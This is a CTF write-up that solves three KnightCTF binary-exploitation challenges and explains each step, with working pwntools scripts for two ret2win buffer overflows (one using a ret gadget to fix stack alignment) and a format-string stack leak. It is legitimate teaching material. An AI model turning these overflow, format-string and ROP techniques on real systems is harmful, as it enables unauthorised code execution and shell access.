KnightCTF pwn

solved by foo

These are the 3 pwns from KnightCTF

I solved these after the CTF ended and the remote servers are down at the time of writing because I overprocrastinated (bozo), so I can’t provide images for the remote-only challenge (The Dragon’s Secret Scroll), you can find them at this writeup by Mirai Kuriyama (t3l3sc0p3).

Get The Sword

Download: Google Drive

First let’s run checksec:

Seems like none of these security features are implemented here, so it should be a pretty basic challenge.

Also, note that this is a 32-bit binary, shown above by the “32” in “Arch” (stands for Architecture).

Next let’s run the binary and see what happens:

The program printed our input, so it’s likely that the intended exploit makes use of this.

Using Ghidra, let’s disassemble the binary and obtain its source code:

Usually, main is the first executed function (of interest). Its decompiled code is as follows:

1
2
3
4
5
6
7
undefined4 main(void)

{
printSword();
intro();
return 0;
}

We see that main calls two functions, then returns. Let’s look at these functions, starting from printSword:

1
2
3
4
5
6
7
8
9
void printSword(void)

{
puts(" />_________________________________");
puts("[#####[]_________________________________>");
puts(" \\>");
fflush(_stdout);
return;
}

So printSword simply prints the sword ascii art. Nothing exploitable here. Now let’s look at intro:

1
2
3
4
5
6
7
8
9
10
11
void intro(void)

{
undefined local_20 [24]; // declare the buffer

printf("What do you want ? ?: "); // What do you want ? ?:
fflush(_stdout); // not relevant here
__isoc99_scanf(&DAT_0804a08c,local_20); // obtain input and store it in the buffer
printf("You want, %s\n",local_20); // print our input
return;
}

Now this is where our input is being read. I put in some comments to explain what’s going on in each line.

We can see that this is vulnerable to a buffer overflow ret2win (return to win). Basically, we are able to input more than the specified 24 character limit for local_20, and the extra characters will overflow into the next memory address, and overwrite whatever was stored there.

If we look at the list of functions on the left of the ghidra window, we can see there is one last function of interest: getSword.

1
2
3
4
5
6
7
void getSword(void)

{
system("cat flag.txt"); // FLAG!!11!!1!!!11
fflush(_stdout);
return;
}

This function prints the flag, so our objective is to call it.

We can do this by overflowing the buffer until we reach the portion of memory where the return address is stored (in bytes), then also overwrite that with the function address of getSword.

This will cause the current function (intro in this case) to return to getSword, instead of the initial return address.

So how many characters do we need to put into the buffer, such that we reach the return address of intro and replace it? One way to determine this is by looking at the stack layout of variables, generated by Ghidra:

We see that local_20 is actually allocated 0x20 = 32 bytes of memory. After that, we have local_8, which is likely the location of the return address.

Let’s write a python script to try sending 32 arbitrary characters, and then the address of getSword, into the program. We will use pwntools, which is an extremely useful tool for pwn.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

elf = ELF("./get_sword")
p = elf.process()
# getSword = p32(0x08049218)

payload = b'A'*32 # 32 characters (b is byte string, needed for pwn)
payload += p32(elf.sym['getSword']) # address of getSword (p32 for 32-bit binary)

print(b'payload = ' + payload) # just to check our payload
p.sendline(payload) # sends (payload + '\n')
print(p.recvall()) # receive all program output

Here is the output:


The contents of flag.txt are printed out, so we win.

The Dragon’s Secret Scroll

(I did this writeup after the remote servers were disabled, so I can’t provide my own images; you may see them at this writeup by Mirai Kuriyama (t3l3sc0p3).)

This challenge is remote-only, which means no source file is provided. blind pwn…

This is my first time doing a blind pwn, so I did what any normal person would do: press and hold ‘a’ for 5 seconds, send it, and hope it crashes.

(it didn’t)

But instead, it returned my input, which is a sign of a format string vulnerability.

Essentially, we send a format specifier, which gets passed into printf(), which will interpret a value in memory (on the stack) to be printed according to the format specifier, allowing us to see these hidden values from the stack memory.

In pwn, %x and %p are most commonly used for reading values from the stack. So of course, we spam %x and hope something useful comes up.

(it doesn’t work)

But %p works though:

(Image taken from the writeup above)

ok but it still looks like gibberish hex… so here’s what’s going on:

  • print('%p '*50) is executed as python code, and sent to the server (using the pipe “|”).
  • The server returns hex values from memory due to the printf vulnerability.
  • Less than 50 values were printed, and some (nil) appear, likely due to some server-side constraint implemented in the code.
  • %p “ is 0x257020 (“0x” means the number is hexadecimal), and since we sent it as input, we should expect to see it in memory. Most binaries use little-endianness, which in this case just means stack values are stored in reverse. Hence, we see that the hex is also printed in reverse as 0x207025.
  • (actually, less than 50 207025 values are printed here, idk why so we assume it’s another programmed constraint)
  • Finally, we notice some values between two sussy (nil) gaps (highlighted above), so we plug them into CyberChef:

(we remove the 0x1 because that’s also sussy)

wow flag

win… win… window…!

Download: Google Drive | Google Drive | Google Drive

Let’s first run checksec:

Only No eXecute is enabled here. Let’s look at the source code and see if this restriction affects our exploit.

We have two functions. First, main:

1
2
3
4
5
6
7
8
9
10
undefined8 main(void)

{
char local_12 [10];

puts("Can u find me ? i dont think so...!");
fflush(stdout);
gets(local_12);
return 0;
}

The exploitable part is just the gets call into the buffer local_12, which has 0x12 bytes of memory allocated (a convenient Ghidra naming convention).

Next is the other function, shell:

1
2
3
4
5
6
7
8
void shell(void)

{
puts("How did u get in ..!");
puts("[!]PWNED");
system("/bin/sh");
return;
}

It does exactly what it says on the tin.

This seems like a basic ret2win. Let’s write a pwntools script for it:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

elf = ELF("./win") # set up the process
p = elf.process()

shell = p64(elf.sym["shell"]) # get address of shell

payload = b'A'*18 + shell # send the payload with 0x12 bytes
p.sendline(payload)

p.interactive() # interact with the shell we obtain

As shown from the program output, we managed to reach shell, but then it had a segfault after the output was printed with puts, likely at the system call.

This is due to an issue with stack alignment. Basically, RSP must be a multiple of 16 when calling a function. Since this is a 64-bit binary, RSP is already a multiple of 8, so we only need to offset RSP by 8 bytes.

We can accomplish this using Return Oriented Programming. ROP is essentially obtaining the addresses of existing code segments within the binary itself, allowing us to input them and direct execution to the code segments, just like in a ret2win.

These code segments (known as gadgets) typically end with ret, so that execution returns to the address where our input is stored, potentially redirecting to the next gadget address we had input. This allows us to chain multiple gadgets together.

In our case, we only need a gadget that contains nothing but ret, because:

  • The address will take up 8 bytes on the stack, causing RSP to be offset by 8.
  • It will immediately return execution to our input.

We can find gadgets using ROPgadget:

We have our ret gadget address, 0x40101a. We have to input this before the address of shell:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

elf = ELF("./win")
p = elf.process()

shell = p64(elf.sym["shell"])
ret = p64(0x40101a)

payload = b'A'*18 + ret + shell
p.sendline(payload)

p.interactive()

We are able to send commands, and most importantly open the flag file, so we win.

(NX was likely just a hint that ROP is involved, since ROP is primarily used to bypass NX.)